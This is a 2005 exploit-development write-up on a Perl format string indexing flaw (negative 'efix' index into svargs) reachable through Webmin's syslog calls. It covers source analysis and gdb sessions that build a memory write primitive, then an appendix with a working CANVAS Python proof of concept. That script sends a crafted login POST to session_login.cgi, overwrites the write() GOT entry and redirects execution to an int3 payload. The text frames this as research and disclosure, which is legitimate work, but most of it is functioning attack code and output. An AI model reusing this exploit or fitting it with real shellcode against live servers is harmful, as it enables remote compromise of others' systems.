Webmin vs. Perl Format String Bugs
Work in progress

November 2005

Introduction

Format string bugs in Perl programs are historically difficult to exploit, because of the separation of the C stack and the Perl stack. Often you find yourself not able to find any user controlled data on the C stack once you get to the underlying perl C code that triggers the actual vulnerability as handled by Perl's internal formatting. Because of this, a lot of Perl programs are still very liberal in how they use formatting functions. Because hey, it's just a DoS right?

Maybe not. Jack Louis (jack@dyadsecurity.com) recently ran across some weird behavior when fuzzing Webmin. There are syslog calls in the webmin code base that take in user supplied data without formatting. However these calls were thought to be unexploitable because of the reasons outlined above. However he triggered some weird crashes that would indicate exploitability and this is where he asked us to have a look. Because this information is not Immunity controlled, it was slated to go public on November 25th.

Perl format handling

Perl's format string arg handler is a function called 'Perl_sv_vcatpvfn'. It is reached in many ways. This function parses and handles format strings internal to Perl. There is some curious behavior in how it handles certain indexes to arguments. More speficially how it handles direct parameter access offsets, or 'exact format index' as they call it. With a formatter like '%1234n' we all know that it will try to write the current byte counter value to the 1234th argument (which it expects to be a pointer to an integer) on the stack in a regular C based format string bug scenario. Perl gets this '1234' value via an 'EXPECT_NUMBER' macro which leads to S_expect_number:

sv.c:

```
...
```

```
S_expect_number(pTHX_ char** pattern)
{
    I32 var = 0;
    switch (**pattern) {
    case '1': case '2': case '3':
    case '4': case '5': case '6':
    case '7': case '8': case '9':
        while (isDIGIT(**pattern))
            var = var * 10 + (*(*pattern)++ - '0'); !!!
    }
    return var;
}

#define EXPECT_NUMBER(pattern, var) (var = S_expect_number(aTHX_
&pattern))

...
```

As you can see, not even considering the fact that this atoi logic in itself is flawed in how it allows overwraps, there is no additional checking of the value that it returns. Thus, as expected, you can make EXPECT_NUMBER return any integer value. The I32 variable type indicates a signed 32 bit integer.

This becomes interesting once we consider the way the exact format index is handled in the vcatpfn function:

```
sv.c:

...

        if (EXPECT_NUMBER(q, width)) {
            if (*q == '$') {
                ++q;
                efix = width;
            } else {
                goto gotwidth;
            }
        }

...
```

Efix is also of type I32, i.e. It's a signed 32 bit integer. So we get to set a signed index variable to any value we want, positive or negative. Sounds like a classic recipe for trouble.

Let's examine how this index is used.

Scoring your efix

Taking into consideration the good ol' %n formatter, which lets us write

a current byte counter, we'll examine the possibility of using the above to achieve a write primitive.

Let's take a look at how the '%n' formatters are handled in vcatpfn:

```
sv.c:

...

        case 'n':
            i = SvCUR(sv) - origlen;

!!! args is not set if no args to fs string! so we case to sv_setuv_mg

            if (args && !vectorize) {
                switch (intsize) {
                case 'h':       *(va_arg(*args, short*)) = i; break;
                default:        *(va_arg(*args, int*)) = i; break;
                case 'l':       *(va_arg(*args, long*)) = i; break;
                case 'V':       *(va_arg(*args, IV*)) = i; break;
#ifdef HAS_QUAD
                case 'q':       *(va_arg(*args, Quad_t*)) = i; break;
#endif
                }
            }
            else
                sv_setuv_mg(argsv, (UV)i); !!! <-- calls setiv

...
```

Ok, so we end up at sv_setuv_mg(), which is basically a wrapper function for setiv(). Considering the above, we want to know if we can control argsv:

```
sv.c:

...

        if (vectorize)
            argsv = vecsv;
        else if (!args)
            argsv = (efix ? efix <= svmax : svix < svmax) ?
                    svargs[efix ? efix-1 : svix++] : &PL_sv_undef;

...
```

We can control the efix param. so it would appear we have some chance of a controllable write primitive here.

svmax is a I32 set to be 0 when there are no actual args..which is the case when you supply the only string to the formatting function. So we can abuse a negative index (i.e. < 0) into svargs to control argsv, from

which we can control a write to a sv struct member. Theoraadtically.

Having a look with gdb

Now let's examine if our theory holds so far with some real life testing:

```
...

Breakpoint 4, Perl_sv_vcatpvfn (sv=0x81dcdfc, pat=0x816df60 "%.16705x%
2147483648$h
n\n",
patlen=23, args=0x0,
    svargs=0x816cc68, svmax=0, maybe_tainted=0xbffff25f "") at sv.c:8667
8667                argsv = (efix ? efix <= svmax : svix < svmax) ?
(gdb) p/x efix
$14 = 0x80000000
(gdb) p svmax
$15 = 0
(gdb) p/x svargs[efix-1]
$16 = 0x8156a6c
(gdb) c
Continuing.

Breakpoint 1, Perl_sv_vcatpvfn (sv=0x81dcdfc, pat=0x816df60 "%.16705x%
2147483648$h
n\n",
patlen=23, args=0x0,
    svargs=0x816cc68, svmax=0, maybe_tainted=0xbffff25f "") at sv.c:9154
9154                i = SvCUR(sv) - origlen;
(gdb) s
9155                if (args && !vectorize) {
(gdb) s
9167                    sv_setuv_mg(argsv, (UV)i);
(gdb) s
Perl_sv_setuv_mg (sv=0x8156a6c, u=16705) at sv.c:1750
1750        if (u <= (UV)IV_MAX) {
(gdb)

...
```

As you can see, we can indeed set the sv value to Perl_sv_setuv_mg to be something outside the svargs array abusing our control of efix. We used a precision to control the 'u' value (0x4141 in this case, i.e. 16705). Ultimately we'll have to rely on Perl_sv_setiv for our actual write primitive:

```
sv.c:


...

Perl_sv_setiv(pTHX_ register SV *sv, IV i)
{
    SV_CHECK_THINKFIRST(sv);
```

```
    switch (SvTYPE(sv)) {
    case SVt_NULL:
        sv_upgrade(sv, SVt_IV);
        break;
    case SVt_NV:
        sv_upgrade(sv, SVt_PVNV);
        break;
    case SVt_RV:
    case SVt_PV:
        sv_upgrade(sv, SVt_PVIV);
        break;

    case SVt_PVGV:
    case SVt_PVAV:
    case SVt_PVHV:
    case SVt_PVCV:
    case SVt_PVFM:
    case SVt_PVIO:
        Perl_croak(aTHX_ "Can't coerce %s to integer in %s", sv_reftype
(sv,0),
                   OP_DESC(PL_op));
    }
    (void)SvIOK_only(sv);                       /* validate number */
    SvIVX(sv) = i;
    SvTAINT(sv);
}

...
```

So to have a controllable write, we need to find a pointer in the neighbourhood of the svargs[] array that points to something we control. Either that or there needs to be already something that we'd want to write to that passes all the above checks, to perhaps trigger a more convenientely exploitable bug.

Finding a pointer

We can hunt for pointers in a reasonable fashion once we have a Perl with symbols, by just searching for the 'pat' ptr in Perl_sv_vcatpvfn:

```
...

Continuing.

Breakpoint 1, Perl_sv_vcatpvfn (sv=0x81dce0c,
    pat=0x816e4f0 "AAAABBBBCCCCDDDD%.16705x%2147483648$hn\n", patlen=39,
    args=0x0, svargs=0x816cc78, svmax=0, maybe_tainted=0xbffff25f "")
    at sv.c:8310
8310        I32 svix = 0;
(gdb) set $i=-1
(gdb) set $done=1
(gdb) while ($done)
 >set $p=svargs[$i]
 >if ((long)$p == 0x816e4f0)
```

```
  >set $done=0
  >end
 >set $i=$i-1
 >end
(gdb) p svargs
$3 = (SV **) 0x816cc78
(gdb) p/x $i
$4 = 0xffffa844
(gdb) p/x $p
$5 = 0x816e4f0
(gdb) p/x svargs[$i+1]
$6 = 0x816e4f0
(gdb) p/x *(long *)svargs[$i+1]
$7 = 0x41414141
(gdb)

...
```

A write primitive

Combining our above conclusions, and the information about where our string lives, we can go for an actual write primitive:

```
...

Program received signal SIGSEGV, Segmentation fault.
0x080ca183 in Perl_sv_setiv (sv=0x816e4f8, i=16721) at sv.c:1683
1683        SvIVX(sv) = i;
(gdb) x/i$pc
0x80ca183 <Perl_sv_setiv+262>:  mov    %eax,0xc(%edx)
(gdb) i r eax edx
eax            0x4151   16721
edx            0x41414141       1094795585
(gdb)

...
```

Going live on Webmin

Now that we're comfortable with most of the concepts we need to know to exploit this bug, we can have a look at our real life scenario within Webmin. The first thing we notice is that the webmin syslog call prepends a 'Non-existent login as ' to our string. This means we can't use the 'search for the pat pointer' method directly to find a valid offset, but with fairly similar logic we can find a an offset to a pointer to our original username string. Once you have a valid offset for a specific perl version, it remains fairly static even though actual pointer values can change, this in turn makes us feel warm and fuzzy inside.

A simple script to speed things up a bit might look like (pardon my horrible gdb scripting):

```
...

(gdb) set $svargs=(long *)0x082240f4
(gdb) set $pat=(long)0x0847e900
(gdb) set $i=0x80000000
(gdb) set $done=1
(gdb) while ($done)
 >set $p=$svargs[$i]
 >if ((long)$p == $pat)
  >set $done=0
  >end
 >set $i=$i+1
 >if ($i == 0x90000000)
  >set $done=0
  >end
 >end
(gdb) p/x $p
$9 = 0x847e900
(gdb) x/x $p
0x847e900:      0x41414141
(gdb)

...
```

Once you've found a direct offset to your string from svargs, it's business as usual and the write primitive described earlier holds. Now we just have to tweak details specific to Webmin. Meaning we need to stuff some payload in memory, take things like url encoding into consideration for our POST, tweak our write so that we write three bytes in a single write. To get a quick int3 PoC I just took the pat address for my payload (but an offset to my original username pointer), set the write(2) GOT jump_slot as my target, and used a write logic that overwrites the three MS bytes of the write target.

The following is an example from a live run against a perl 5.8.6 installation with Webmin-1.240 with the int3 trigger:

Client-side:

```
...

CANVAS$ ./exploits/webmin/webmin.py -v0 -t192.168.1.104 -p10000
...
[!] ATTACH
...
586 bytes total
CANVAS$

...
```

Server-side:

```
...

(gdb) at 16515
...

(no debugging symbols found)...done.
Loaded symbols for /usr/lib/perl5/5.8.6/i586-linux-thread-
multi/auto/SDBM_File/SDBM_File.so
0xffffe410 in ?? ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0847ec51 in ?? ()
(gdb)

...
```

Thus proving that this issue is most definitely remotely exploitable without too much problems.

Conclusion

We're currently putting all of the above together to craft a reliable remote exploit for Webmin. I'm sure someone out there has figured one out long before as it's not exactly rocket science, but it was a neat puzzle nonetheless.

Appendix A:

Relevant macros and definitions:

```
#define SV_CHECK_THINKFIRST(sv) if (SvTHINKFIRST(sv)) sv_force_normal
(sv)

#define SvTHINKFIRST(sv)        (SvFLAGS(sv) & SVf_THINKFIRST)

#define SvFLAGS(sv)     (sv)->sv_flags

#define SVf_THINKFIRST  (SVf_READONLY|SVf_ROK|SVf_FAKE)

#define SVf_ROK         0x00080000      /* has a valid reference
pointer */
#define SVf_FAKE        0x00100000      /* glob or lexical is just a
copy */
#define SVf_READONLY    0x00800000      /* may not be modified */

...

#define SVTYPEMASK      0xff
#define SvTYPE(sv)      ((sv)->sv_flags & SVTYPEMASK)

...
```

```
typedef enum {
        SVt_NULL,       /* 0 */
        SVt_IV,         /* 1 */
        SVt_NV,         /* 2 */
        SVt_RV,         /* 3 */
        SVt_PV,         /* 4 */
        SVt_PVIV,       /* 5 */
        SVt_PVNV,       /* 6 */
        SVt_PVMG,       /* 7 */
        SVt_PVBM,       /* 8 */
        SVt_PVLV,       /* 9 */
        SVt_PVAV,       /* 10 */
        SVt_PVHV,       /* 11 */
        SVt_PVCV,       /* 12 */
        SVt_PVGV,       /* 13 */
        SVt_PVFM,       /* 14 */
        SVt_PVIO        /* 15 */
} svtype;

...

#define SvIOK(sv)               (SvFLAGS(sv) & SVf_IOK)
#define SVf_IOK         0x00010000      /* has valid public integer
value */

...

!!! the write

#define SvIVX(sv) ((XPVIV*)  SvANY(sv))->xiv_iv
#define SvANY(sv)       (sv)->sv_any
```

Appendix B: a remote int3 PoC trigger for Webmin

```
!/usr/bin/env python

NOTES="""
Remote trigger for perl efix svarg issue, through webmin miniserv.pl syslog issues.
"""

import sys
sys.path.append(".")
sys.path.append("../../")
sys.path.append('../../encoder')
sys.path.append('./encoder')
sys.path.append("../../shellcode")
sys.path.append("./shellcode")
sys.path.append("../../gui")
sys.path.append("./gui")

import os
import getopt
import socket
import sys
import struct
import time

from exploitutils import *
from tcpexploit import *
from shelllistener import shelllistener
```

```
from shelllistener import shellfromtelnet
import addencoder
import canvasengine
import shellcodeGenerator
import linuxshell
from ctelnetlib import Telnet

import mosdef
from linuxNode import linuxNode
import linuxMosdefShellServer

# GUI info
NAME=""
DESCRIPTION="Trigger for perl efix svarg index bug, through webmin miniserv.pl"
DOCUMENTATION={}
DOCUMENTATION["Date public"] = ""
#DOCUMENTATION["CVE Name"] = ""
DOCUMENTATION["OSVDB"] = ""
DOCUMENTATION["References"] = ""
DOCUMENTATION["Repeatability"] = ""
VERSION="0.1"

runAnExploit_gtk2 = canvasengine.runAnExploit_gtk2
runExploit = canvasengine.runExploit

# switch to property!
affectsList=["Unix"]

# VULNERABLE VERSION LIST (Server: )
VULN = ["MiniServ/0.01"]

GTK2_DIALOG="dialog.glade2"

class common:
    def __init__(self):
        return

    def connectTo(self, t_host, t_port):
        s = self.gettcpsock()
        try:
            s.connect((t_host, t_port))
        except:
            raise Exception, "Failed to connect"
        return s

class linuxIA32(tcpexploit, common):
    def __init__(self):
        tcpexploit.__init__(self)
        common.__init__(self)
        return

    def createShellcodeLnx86(self):
        shellcode = "\xcc"
        return shellcode

    def buildRequestLnx86(self, precision, efix):
        xdata  = "page=%2F"
        xdata += "&user="
        # keep in mind we're under url encoding
        import urllib
        # !!! 3rd dword is sv_flags ( write is to 0xc(sv))
        target = 0x081607ac
        # cuz we have a single write, to get the most out of it we do a %n write with 3
bytes
        # we want to set target + 1, and make sure the last byte of our target will be >
to point into payload
        xdata += struct.pack("<L", target - 12 + 1) + urllib.quote_plus("BBBB" + "CCCC")
        xdata += "\xcc" * 255
        xdata += urllib.quote_plus("%." + "%d"%precision + "x" + "%%%u"%efix + "$n")
```

```
        xdata += "&pass=AAAAAAAAAAAA"

        request  = "POST /session_login.cgi HTTP/1.1\r\n"
        request += "Host: 192.168.1.104:10000\r\n"
        request += "User-Agent: Mozilla/5.0\r\n"
        request += "Keep-Alive: 300\r\n"
        request += "Connection: keep-alive\r\n"
        request += "Cookie: testing=1; sid=01020304010203040102030401020304; x\r\n"
        request += "Content-Type: application/x-www-form-urlencoded\r\n"
        request += "Content-Length: %d\r\n"%len(xdata)
        request += "\r\n"

        #print "[!] request:\n\n%s"%request
        #print "[!] body: %s"%xdata

        return (request, xdata)

    def tryItLnx86(self, host, port, (request, body)):
        s = self.connectTo(host, port)
        print "[!] ATTACH"
        sys.stdin.read(1)
        print "%d bytes total"%(len(request) + len(body))
        self.websend(s, request)
        self.websend(s, body)
        #ret = self.webrecv(s)
        return

class theexploit(linuxIA32):
    def __init__(self):
        linuxIA32.__init__(self)
        self.cmdline = 0
        self.version = 0
        self.host = ""
        self.port = 10000
        return

    def test(self):
        self.host = self.target.interface
        self.port = int(self.argsDict.get("port",self.port))
        s = self.connectTo(self.host,self.port)
        probe  = "HEAD / HTTP/1.0\r\n"
        probe += "Host: 127.0.0.1\r\n"
        probe += "\r\n"
        self.websend(s, probe)

        # little kludge, do a better receive / poll/select
        check = self.webrecv(s)
        check = self.webrecv(s)
        check = self.webrecv(s)

        offset = check.find("Server: ")
        if offset < 0:
            return 0
        server = ""
        while check[offset] != "\r":
            server += check[offset]
            offset+=1
        print "[!] Found: %s"%server
        s.close()
        # VULN CHECK FOR VERSIONS
        for version in VULN:
            if server.find(version) > 0:
                return 1
        return 0

    def createShellcode(self):
        self.shellcode = self.createShellcodeLnx86()
        return self.shellcode

    def neededListenerTypes(self):
```

```
        return []

    def run(self):
        self.host=self.target.interface
        self.port=int(self.argsDict.get("port", self.port))

        self.socknode = self.argsDict["passednodes"][0]

        # TRIGGER
#(gdb) x/x 0x0847ec50
#0x847ec50:      0xcccccccc
#(gdb)
        prepend = "Non-existent login as "
        # using the 3 ms bytes
        (request, body) = self.buildRequestLnx86(0x0847ec - (len(prepend) + 4 + 8 + 255),
0x8002f5e4)
        self.tryItLnx86(self.host, self.port, (request, body))
        # HALT
        #print "[!] HALTED"
        #sys.stdin.read(1)

        return 0

if __name__== '__main__':
    print "Running CANVAS %s Exploit v %s"%(DESCRIPTION,VERSION)
    app = theexploit()
    ret=standard_callback_commandline(app)
    if ret not in [0,1,None]:
        ret.interact()
```